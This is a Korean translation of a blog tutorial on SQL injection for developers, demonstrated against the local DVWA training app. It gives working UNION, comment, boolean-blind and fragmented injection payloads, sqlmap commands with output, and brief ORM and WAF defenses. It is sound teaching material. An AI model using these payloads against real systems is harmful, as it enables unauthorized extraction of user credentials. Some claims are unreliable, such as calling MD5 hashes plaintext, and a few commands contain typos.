Medium - SQL injection for developers

원문 - Omer Hamerman

Trend 파악을 위한 Medium 기고문 포스팅 - 개발자를 위한 SQL 인젝션; 여러분의 프로그램에서 어떻게 테스트하고 보호할 수 있는지 기본을 알아봅시다.

Originally published at https://omerxx.com/sql-injection-intro

SQL Injection (SQLi)는 2018-2019년 동안 온라인 공격 중 72%가 넘는 비중을 차지 했습니다. 웹 개발자들이 가장 많이 받는 공격이 바로 SQLi 입니다. OWASP Top 10에도 SQL 인젝션 공격이 상위권에 등록되었죠, SQLi는 아주 흔하고 자동화하기도 쉬워서 치명적인 피해를 입힐 수 있습니다.

이 포스트는 제가 개인적으로 알고 싶었던 것들에 대해서 자료를 수집하며 노력을 했던 기록입니다. 반복적으로 자료를 찾고 짧은 비디오를 보기도 했지만 쉽지는 않았죠. SQL 인젝션을 이해하려면 그냥 문서를 읽는 것으론 부족하고 직접 실행을 해보는 수고를 들여야 합니다. 여기에 문맥들은 작고 방대하기 때문에 꽤나 고생을 했죠.

SQL 인젝션은 간단한 개념이지만 엄청나게 변형이 많습니다. 얼마나 많을까요? SQL 디비의 종류, 다양한 웹폼 형식, 개발자 실수를 모두 행렬곱셈 한거 만큼 많을 겁니다.

What is it

SQLi는 웹 응용프로그램의 데이터에 몰래 접근하는 방법입니다. SQLi를 통해 디비의 데이터를 가져올 수도 있고 소스코드나 다른 민감정보를 가져올 수도 있습니다. 공격을 수행하는 데는 아주 간단한 해킹 도구인 웹 브라우저만 있으면 됩니다. 아주 배우기 쉽고 실행 및 접근이 용이하죠.

여러 종류의 SQLi 공격 방식이 있지만 가장 일반적인 것인 클라이언트 브라우저에서 HTTP 리퀘스트를 날릴 때 입니다. 개발자가 유저에게 User Id같은 것을 입력하도록 놔둔 곳 말이죠. 여기에 공격자는 SQL 구문으로 인젝션 공격을 시도할 수 잇습니다. 1을 입력하는 대신에 다음처럼 입력을 하는 경우를 고려해봅시다.

1' UNION SELECT password FROM users UNION SELECT '1

만약 백엔드 코드에서 입력값의 컨텍스트를 제대로 고려하지 않으면 해당 입력값을 쿼리처럼 이용할 수 있습니다. 위의 코드의 결과로 간단한 웹 폼에서 데이터베이스의 정보를 뽑아내게 되는 것이죠. 만약 이게 성공한다면 공격자는 실제 서버의 접속을 할 필요도 없습니다. 아주 ‘합법적’으로 데이터를 뽑아내고 사용할 수 있는 것이죠.

How to attack

실제 예제를 만들어 보기 위해서 저는 Damn Vulnerable Web Application 을 사용할 것입니다. 이것은 빠르게 다양한 테스트를 해볼 수 있으니 얼른 도커를 사용해서 시작해봅시다.

docker run --rm -it -p 8080:80 vulnerables/web-dvwa

# 다음 로컬 주소에서 로그인 화면을 볼 수 있습니다. @ http://localhost:8080
#
# 브루트포스 공격이 통할 수 있겠지만 일단 지금은 간단하게 다음과 같이 설정합시다.:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. 다 끝났습니다 다시 로그인 하세요.

Poking for holes

메뉴의 모듈 중에 SQL 인젝션을 선택합니다. 아무거나 입력해보면 요청받은 파라미터가 UserId 라는 것을 알 수 있으며 처음 선택지는 1을 입력해 보는 것입니다.

1

# ID: 1
# First name: admin
# Surname: admin

우리의 입력값에 대해 ID, First name, Surname 3개의 필드가 응답이 온것을 볼 수 있습니다. 그러면 '를 입력해서 중단을 해봅시다.

'

# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to user near ''''' at line 1

여기서 이 리스폰스는 굉장한 가치가 있습니다. 응용프로그램이 이렇게 백엔드와 연관된 에러메시지를 보여주는 것은 공격자에게 생생한 피드백을 주는 것이죠. 방어의 수단 중 하나로 응용프로그램은 어떤 정보도 담지 않은 일반적인 메시지를 에러로 리턴하기도 합니다. 하지만 공격자들은 여전히 ‘blind SQLi’라고 불리는 공격을 실행할 수 있습니다.

다시 우리의 인젝션 공격으로 돌아가봅시다. ' 을 사용했더니 앱이 아주 의미있는 메시지를 리턴해줬죠. ''''' 이 부분을 보시면 인젝션이 통해서 DB 엔진의 리스폰스가 온 것을 알 수 있습니다. 따라서 우리는 여러가지 시도를 하면서 시각적인 피드백을 받을 수 있는 것이죠.

SQL UNION 구문은 아주 일반적인 헬퍼입니다. 이걸 사용해서 공격자들은 추가적인 정보를 통합해서 그들에게 결과로 나오도록 할 수 있습니다. 다음 구문을 실행해봅시다

1' UNION SELECT '2

# Output: The used SELECT statements have a different number of columns

자 그럼 먼저 입력값을 살펴봅시다.

  • 1'의 의미는 1로 구문을 종료하고 따옴표로 닫는다는 것입니다. 이렇게 기존의 SQL 쿼리의 로직 부분을 종료시킬 수 있어서 ' 따옴표는 정확하게 이스케피으 되지 않으면 매우 위험합니다.
  • UNION SELECT '2 는 UNION 구문으로 숫자를 선택하고 백엔드 코드에 있는 또다른 구문의 끝을 기다리는 따옴표입니다.

UNION을 사용하면 시스템의 동작방식을 살짝 비틀 수 있습니다. UNION이 있는 SQL 구문을 호출하면 디비 엔진은 결과를 하나의 집합으로 합치려고 합니다. 그렇게 하기 위해서는 모든 부분들이 같은 컬럼 넘버를 가져야 합니다.

그럼 다음과 같이 추가적인 컬럼을 입력해서 시도해 봅시다.

1' UNION SELECT 1,'2

# ID: 1' UNION SELECT 1, '2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1, '2
# First name: 1
# Surname: 2

짜잔! 인젝션이 성공했습니다. 물론 실제 데이터를 뽑아낸 것은 아닙니다. 뭔가 의미있는 작업을 하기 위해서는 계속 스키마를 탐구해야 하지만 어찌되었건 결국에는 될 것입니다.

  • 처음으로 해야할 것은 쿼리 테이블로부터 디비의 이름을 알아오는 것입니다.
1' union select 2, table_schema from information_schema.tables union select 3,'4
  • 이렇게 하면 “Surname” 아래에 “admin”, “dvwa”, “information_schema” 세개의 디비 이름을 가져올 수 있습니다.
  • 우리는 dvwa에 관심이 있으므로 해당 디비의 스키마를 선택하겠습니다.
1' union select 2, table_name from information_schema.tables where
table_schema = 'dvwa' union select 3,'4
  • 해당 쿼리는 “admin”, “users”, “guestbook” 세개의 테이블 이름을 가져옵니다.
  • “Users” 테이블은 보통 유저 이름, 패스워드, 그리고 다른 개인 식별 정보들을 가지고 있는 것으로 추측할 수 있습니다. 여기다가 우리는 쿼리를 날릴겁니다.
1' union select 2, column_name from information_schema.columns
where table_name = 'users' union select 3,'4
  • 이렇게 하면 컬럼 이름의 리스트를 응답으로 받게 됩니다. 그 중에 “user”, “password” 컬럼이 아주 흥미로워 보이는 군요
  • 그럼 바로 users 테이블에 쿼리를 날려보겠습니다.
1' union select user, password from users union select 1,2'

# ID: 1' union select user, password from users union select 1,2'
# First name: admin
# Surname: admin
# ID: 1' union select user, password from users union select 1,2'
# First name: admin # Surname : 5f4dcc3b5aa765d61d8327deb882cf99
# ID: 1' union select user, password from users union select 1,2'
# First name: gordonb # Surname : e99a18c428cb38d5f260853678922e03
# ID: 1' union select user, password from users union select 1,2'
# First name: 1337 # Surname : 8d3533d75ae2c3966d7e0d4fcc69216b
# ID: 1' union select user, password from users union select 1,2'
# First name: pablo # Surname : 0d107d09f5bbe40cade3de5c71e9e9b7
# ID: 1' union select user, password from users union select 1,2'
# First name: smithy # Surname : 5f4dcc3b5aa765d61d8327deb882cf99
# ID: 1' union select user, password from users union select 1,2'
# First name: 1 # Surname : 2

  • 보셨습니까? 모든 유저의 이름과 패스워드를 리스트로 뽑아냈습니다. 놀랍게도 패스워드들은 그냥 해쉬도 안되어 있고 그냥 평문으로 되어있습니다.

Security Level: Medium

DVWA의 보안 레벨을 올리기 위해서는 “DVWA 보안”으로 들어가서 Medium을 선택하면 됩니다. 이번에는 그냥 평문 입력폼이 아니라 특정 리스트를 선택할 수 있는 드랍다운 리스트가 보이실 겁니다. 브라우저를 통해 개발자 도구를 열어보면 POST메소드가 2개의 파라미터를 보낸 다는 것을 알 수 있습니다. 바로 id=1&Submit=Submit입니다. 헤더에는 더욱 유용한 것들이 많이 있습니다. 우리는 모든 종류의 인터셉터를 사용해서 리퀘스트를 캐치하고 다른 파라미터를 사용해서 보낼 수 있습니다. 그런 도구중 하나가 바로 BurpSuite입니다.

Quick setup to intercept with BurpSuite

  1. 프록시를 통해서 리퀘스트를 보낼 수 있도록 합시다. 파이어 폭스에서는 Preferences > Advanced > Network Settings > Manual Proxy Configuration 에 들어가서 모든 프로토콜들이 BurpSuite의 기본 설정인 127.0.0.1:8080을 통해서 나가도록 합시다.
  2. BurpSuite의 프록시 텝으로가서 intercept on을 설정합시다. 파이어폭스로에서 나가느 ㄴ다음 리퀘스트 부터는 BS에 의해서 멈춰질 것이고 계속 진행할 지 멈출 지 결정할 수 있습니다.
  3. DBWA SQLi 페이지로가서 드랍다운에서 ID를 선택하고 Submit을 선택합시다. 리퀘스트는 BS에서 캐치될 것이고 Actions메뉴에 있는 Repeater를 시용해서 다시 보낼 수 있습니다. POST 리퀘스트의 id를 이용해서 서버를 쿡쿡 찔러보면 \형태로 이스케이프를 한다는 것을 알 수 있습니다. 따라서 ',#,-,$와 같은 특수문자들은 이스케이프가 될 것입니다. 그러나 특수문자가 사용되지 않는다고 해도 UNION인젝션을 막을 수 있느 ㄴ것은 아닙니다.

1 UNION SELECT user, password FROM users

위와 같은 문법으로 또 인젝션을 할 수 있습니다. 이스케이프가 전혀 없죠. 백엔드 코드는 이미 그것을 페치해서 모든 것이 명령어 속에서 실행될 것입니다.

Security Level: High

마지막 보안 레벨에서는 다른 창을 띄우는 팝업 링크를 볼 수 있고 거기서 리퀘스트를 컨트로합니다. 이전의 이스케이프들을 가지고 이리저리 시도를 해보면 여기의 코드가 더 안전하다는 것을 볼 수 있죠. 하지만 그래도 결함은 있습니다. 바로 주석을 이용하는 것입니다.

SELECT somthing from somtable # WHERE ...

# 이렇게하면 sometable에서 somthing을 보여주도록 쿼리가 실행될 것입니다.

SQL 라인의 주석을 하는 방법은 여러가지가 있습니다만 가장 일반적인 것들은 --, #, /* multiline */입니다. 실제로는 코드를 설명하는데 매우 유용하죠.

SELECT name -- this is the name
  FROM users -- users table
    WHERE name="DAN" -- DAN is the CEO

SQLi에서 주석은 나머지 코드를 무시하는데 자주 활용됩니다. 다음 PHP 코드를 살펴봅시다.

// Check database
$query = "SELECT first_name, last_name FROM users
            WHERE user_id = '$id' LIMIT 1;";

LIMIT 쿼리는 항상 단일 결과를 만드므로 여러 데이터셋을 가져오는 것을 힘들게 합니다만 LIMIT 동작을 우회할 수 있습니다.

# First input:
1 UNION SELECT user, password from users

# Translates to
SELECT first_name, last_name FROM users
  WHERE user_id = '1 union select user, password' LIMIT 1;

쿼리의 결과가 하나의 집합으로 제한되기 때문에 UNION을 무시하고 first_name, last_name만 출력될 것입니다. 그럼 다음과 같이 한번 시도해봅시다.

1 UNION SELECT user, password from users#

# 이렇게하면 LIMIT가 무시되어서
SELECT first_name, last_name FROM users
  WHERE user_id = 1' union select user,password FROM users; 가 실행됩니다.

Blind SQLi

블라인드 SQL 인젝션은 응용프로그램이 SQL 에러를 리턴하지는 않지만 여전히 공격이 유효할 때 쓰입니다. 이것은 일반적인 SQL과 같은 맥락이지만 공격자들은 공격할 부분이 있는지 아닌지 일련의 true / false 테스트를 이용해서 알아냅니다. 또 다른 방법은 시간을 이용하는 것입니다. 쿼리에 SLEEP을 포함시켜서 리스폰스가 올 때까지 시간을 이용해서 리스폰스가 긍정적인지 아닌지를 확인 하는 것이죠.

시간을 이용하는 깜깜이 SQL 인젝션은 데이터베이스가 특정 시간동안 멈추가 결과를 리턴하는 것을 통해서 SQL 쿼리가 성공적으로 수행되었다는 것을 알아챕니다. 이것을 이용해서 공격자들은 다음과 같은 로직을 사용하는 것이죠. 만약 첫번째 데이터베이스의 첫번째 글자가 ‘A’면 10초를 슬립한다. 만약 첫번재 데이터베이스의 첫번째 글자가 ‘B’면 10초를 슬립한다.

그럼 DVWA SQLi 모듈을 이용해서 낮은 보안수준을 뚫어봅시다. 단순히 1을 입력하면 시스템은 데이터베이스에 있는 User Id를 리턴합니다. '따옴표 같은 것을 입력하면 User Id is Missing 이라는 메시지와 함께 404 에러가 리턴됩니다.

다음 단계는 선택사항으로 boolean 공격이 통하는지 확인하는 것입니다.

# Input
 '1 And 1='1

>> User ID exists in the database.
  # 여기에는 참이되는 값이 있다는 것을 알 수 있습니다.

# Input
 '1 And 1='2

>> User ID is MISSING from the database.
  # 이걸 보니 boolean 기반 깜깜이 공격이 가능할 거 같습니다!

여기서부터는 결과를 false/true 구문으로 분리하여 공격자들이 정보를 얻을 수 있습니다.

# This input returns 404
1' and (select user from users where user_id=1)='test' and 1='1

# 그러나 이건 성공합니다.
# 따라서 user_id = 1인 것의 이름은 admin 이라는 것입니다.
1' and ( select user from users where user_id=1)='admin' and 1='1

Fragmented SQLi

많은 사람들이 잘 모르는 방법이지만 ' 따옴표 처럼 특정 문자가 이스케이프 될 때 아주 유용하게 사용할 수 있는 방법으로 사용자가 2개의 다른 필드를 제어할 수 있을 때 입니다. 가장 확실한 예제는 로그인 페이지 입니다. 만약 응용프로그램이 예를 들어서 \문자로 이스케이프 된다면 공격자는 다음과 같이 이스케이프를 구성할 수 잇습니다.

username: \
password: or 1 #

$query = select * from users where username'".$username."'
          and password'".$password."'";

위의 문장은 다음과 같이 실행됩니다.

selsect * FROM users where username='\' or password=' or 1 # ';

따옴표 다음에 오는 역슬래시는 이스케이프를 만들어서 응용프로그램이 그 값을 '\' or password='or 1 #'을 실행하도록 합니다. 그리고 위의 결과는 항상 true를 리턴하죠. 샵 표시는 다음에 오는 명령어 부분이 주석으로 무시되도록 처리하기 위함입니다.

Automating things with sqlmap

어떤 사람은 다양한 상황에 맞춰서 다양한 기술들을 사용하는데 익숙할 것입니다. 그러나 전문가가 아니라면 항상 모든 옵션들을 기억하면서 페이로드를 재작성 하는 것은 어려운 일입니다. 휴먼 에러를 비롯하여 false-positive 기법은 우리가 실수를 하기 쉽습니다. Sqlmap을 사용하면 큰 도움이 됩니다.

sqlmap은 CLI 툴로써 연관된 정보를 자동으로 스캔하고 제공해줍니다. 디비로부터 정보를 그랩할 수 있으면 이름과 테이블까지 가져옵니다. 그리고 블라인드 SQLi를 식별하고 추가적인 기술들을 리포트 해줍니다. (boolean이나 time 기반 SQLi 등 )

다음은 sqlmap을 이용해 DVWA에서 블라인드 SQLi를 수행하는 간단한 예입니다.

# 매개변수를 이용해서 모든 폼 경로를 스캔합니다.
# 스캐너의 인증을 위해서 쿠키도 전달합니다.
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#"
    --cookie="PHPSESSID=abcd;security=low"
    --dbs

sql map resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5756=5756 AND 'XWif'='XWif&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5198 FROM (SELECT(SLEEP(5)))xyFF)
                   AND 'lswI'='lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema

스캐너가 깜깜이 공격이 가능한 취약점을 찾아서 알려줍니다. 그리고 현재 데이터베이스에서 사용가능한 페이로드를 제시해줍니다.

# 디비 이름에 -D 옵션을 줘서 다시 같은 스캔을 수행해 봅시다.
# 그리고 --table은 dvwa 디비에 있는 테이블들을 다 열거해줍니다.
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#"
    --cokie="PHPSSESID"=abcd;security=low"
    -D dvwa
    --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

Defense

ORM

일반적으로 SQLi를 방어하는 방법은 ORM 계층을 사용하는 것입니다. ORM은 데이터 구조 관리를 제공해주며 로우레벨에서 데이터베이스 쿼리를 관리해야 하는 것도 처리해줍니다. 더욱 경험있는 사람의 손을 빌려서 쿼리를 만드는 것과 다름없기 때문에 책임 질일이 없어집니다. 매우 유용하죠. 그러나 깜깜이 공격에 대해서는 처리해주지 않습니다. ORM이 대중적으로 쓰이긴 하지만 SQLi의 보안 해결책은 아닙니다. ORM은 아주 쉽게 양날의 검이 될 수 있는데 만약 ORM에 허점이 생긴다면 ORM을 사용하는 곳에서는 아주 손쉽게 SQLi에 당하게 되는 것이죠. ORM을 사용하는 사용자들은 항상 자신의 서비스에서 자체적으로 테스트를 하는데 익숙해져야 합니다.

WAF

web application firewall 또한 cross-site 스크립트 페이로드나 SQLi와 같이 내부로 들어오는 잠재적인 요청에 대해 좋은 해결책이 될 수 있습니다. 그러나 적절하게 구성이 되지 않거나 너무 WAF에만 기대는 것은 좋지 않습니다.

Summary

  • SQL 인젝션 공격에 대한 기본과 sqlmap 툴 사용,
  • SQL 인젝션은 디비의 종류, 브라우저 등 환경에 따라서 매우 많은 시나리오가 가능함

© 2019. All rights reserved.

Powered by Hydejack v8.1.1